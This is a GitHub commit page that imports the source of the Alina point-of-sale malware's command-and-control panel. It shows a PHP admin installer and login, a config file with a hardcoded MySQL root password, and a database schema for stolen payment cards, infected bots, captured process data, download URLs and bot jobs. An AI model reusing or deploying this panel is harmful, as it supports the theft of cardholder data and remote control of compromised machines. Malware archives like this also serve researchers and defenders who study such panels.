Skip to content

Commit

Permalink
1st import into tree
Browse files Browse the repository at this point in the history
  • Loading branch information
fdiskyou committed Feb 21, 2016
0 parents commit ad67497
Show file tree
Hide file tree
Showing 6,128 changed files with 992,342 additions and 0 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
172 changes: 172 additions & 0 deletions Alina/Panel/admin.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,172 @@
<?php

function error($str)
{
print '<h1>$str</h1>';
print '<a href="admin.php">Back</a>';
exit();
}

function install()
{
if (@$_GET['do'] !== 'install') {
print '<h1>New install</h1><form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '?do=install">'
. 'Mysql host (or socket): <input type="text" name="host" value="localhost" /><br />'
. 'Mysql port (leave blank for socket): <input type="text" name="port" value="3306" /><br />'
. 'Mysql user: <input type="text" name="user" value="root" /><br />'
. 'Mysql pass: <input type="text" name="pass" value="" /><br />'
. 'Mysql db (must exist): <input type="text" name="db" value="alina" /><br /><br />'
. 'Admin password: <input type="text" name="admin" value="" /><br />'
. '<input type="submit" /></form>';
exit();
} else {
if (isset($_POST['host']) && isset($_POST['port']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['admin']) && isset($_POST['db'])) {
$host = $_POST['host'] . (empty($_POST['port']) ? : ':' . intval($_POST['port']));
if (mysql_connect($host, $_POST['user'], $_POST['pass']) === false)
error('Could not connect to mysql');

if (mysql_select_db($_POST['db']) === false)
error('Could not select database');

$sql = 'CREATE TABLE IF NOT EXISTS `cards` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`ua` varchar(256) NOT NULL,
`date` int(11) NOT NULL,
`card` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;';

mysql_query($sql);

$sql = 'CREATE TABLE IF NOT EXISTS `bots` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`lastip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`version` varchar(256) NOT NULL,
`seen` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;';

mysql_query($sql);
if (!mysql_query('TRUNCATE TABLE settings'))
mysql_query('DELETE FROM settings');

$sql = 'CREATE TABLE IF NOT EXISTS `settings` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`skey` varchar(100) NOT NULL,
`sval` varchar(100) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;';

mysql_query($sql);

if (!mysql_query('TRUNCATE TABLE version'))
mysql_query('DELETE FROM version');

$sql = 'CREATE TABLE IF NOT EXISTS `version` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ver` varchar(128) NOT NULL,
`url` varchar(512) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;';

mysql_query($sql);

$pw = md5($_POST['admin']);
$sql = "INSERT INTO settings(skey, sval) VALUES
('updateinterval', '120'),
('cardinterval', '30'),
('admin', '$pw'),
('successcode', '666')";

mysql_query($sql);

$sql = 'CREATE TABLE IF NOT EXISTS `logs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`ua` varchar(256) NOT NULL,
`proc` varchar(128) NOT NULL,
`date` int(11) NOT NULL,
`data` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;';

mysql_query($sql);

$config =
'<?php
//ALINA CONFIG AUTOGENERATED
$host = "' . $host . '";
$user = "' . $_POST['user'] . '";
$pass = "' . $_POST['pass'] . '";
$db = "' . $_POST['db'] . '";
$frontend = array("cards", "logs", "settings", "stats");
$backend = array("c", "d", "l");
if (mysql_connect($host, $user, $pass) === false ||
mysql_select_db($db) === false)
die("Cant connect to mysql");
$sql = "SELECT * FROM settings";
$res = mysql_query($sql);
while ($row = mysql_fetch_assoc($res))
$GLOBALS[$row["skey"]] = $row["sval"];
if (!isset($GLOBALS["admin"]) || empty($GLOBALS["admin"]))
die("No admin password record found.");
?>';

file_put_contents('config.php', $config);
header('Location: ' . $_SERVER['SCRIPT_NAME']);
exit();
}
}
}

function auth()
{
if (isset($_GET['logout'])) {
setcookie('admin', '');

header('Location: ' . $_SERVER['SCRIPT_NAME']);
exit();
}

if (@$_COOKIE['admin'] !== $GLOBALS['admin']) {
if (isset($_POST['p']) && md5($_POST['p']) === $GLOBALS['admin']) {
setcookie('admin', $GLOBALS['admin']);

define('AUTHED', true);
return;
}

print '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">'
. '<input type="password" name="p" /><br /><input type="submit" /></form>';

exit();
} else
define('AUTHED', true);
}

if (!file_exists('config.php'))
install();

require_once 'config.php';

print '<style>body {background-color:grey;</style>';
auth();

foreach ($frontend as $f)
print "<a href='?show=$f'>Show $f</a>&nbsp;&nbsp;";
print "<a href='?logout'>Log Out</a><br /><br />";

if (in_array(@$_GET['show'], $frontend))
require_once('front/' . @$_GET['show'] . '.php');
else
require_once('front/cards.php');
20 changes: 20 additions & 0 deletions Alina/Panel/config.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
<?php
$host = "localhost:3306";
$user = "root";
$pass = "cocalarus1234567";
$db = "duck";

$frontend = array("cards", "logs", "settings", "stats", "bins");
$backend = array("c", "d", "l");

if (mysql_connect($host, $user, $pass) === false ||
mysql_select_db($db) === false)
die("Cant connect to mysql");

$sql = "SELECT * FROM settings";
$res = mysql_query($sql);
while ($row = mysql_fetch_assoc($res))
$GLOBALS[$row["skey"]] = $row["sval"];
if (!isset($GLOBALS["admin"]) || empty($GLOBALS["admin"]))
die("No admin password record found.");
?>
161 changes: 161 additions & 0 deletions Alina/Panel/duck_schema.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
-- MySQL dump 10.13 Distrib 5.5.30, for Linux (x86_64)
--
-- Host: localhost Database: duck
-- ------------------------------------------------------
-- Server version 5.5.30

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `bins`
--

DROP TABLE IF EXISTS `bins`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `bins` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`bin` varchar(6) NOT NULL,
`len` int(11) NOT NULL,
PRIMARY KEY (`id`),
KEY `id` (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=6121 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `bots`
--

DROP TABLE IF EXISTS `bots`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `bots` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`lastip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`version` varchar(256) NOT NULL,
`seen` int(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=254 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cards`
--

DROP TABLE IF EXISTS `cards`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cards` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`ua` varchar(256) NOT NULL,
`date` int(11) NOT NULL,
`card` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1253 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `dl`
--

DROP TABLE IF EXISTS `dl`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `dl` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`url` text NOT NULL,
PRIMARY KEY (`id`),
KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `jobs`
--

DROP TABLE IF EXISTS `jobs`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `jobs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`jobid` int(11) NOT NULL,
`botid` int(11) NOT NULL,
PRIMARY KEY (`id`),
KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `logs`
--

DROP TABLE IF EXISTS `logs`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `logs` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ip` varchar(100) NOT NULL,
`hwid` varchar(100) NOT NULL,
`pcn` varchar(256) NOT NULL,
`ua` varchar(256) NOT NULL,
`proc` varchar(128) NOT NULL,
`date` int(11) NOT NULL,
`data` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=18038 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `settings`
--

DROP TABLE IF EXISTS `settings`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `settings` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`skey` varchar(100) NOT NULL,
`sval` varchar(100) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `version`
--

DROP TABLE IF EXISTS `version`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `version` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`ver` varchar(128) NOT NULL,
`url` varchar(512) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2013-06-06 12:01:50
Loading

0 comments on commit ad67497

Please sign in to comment.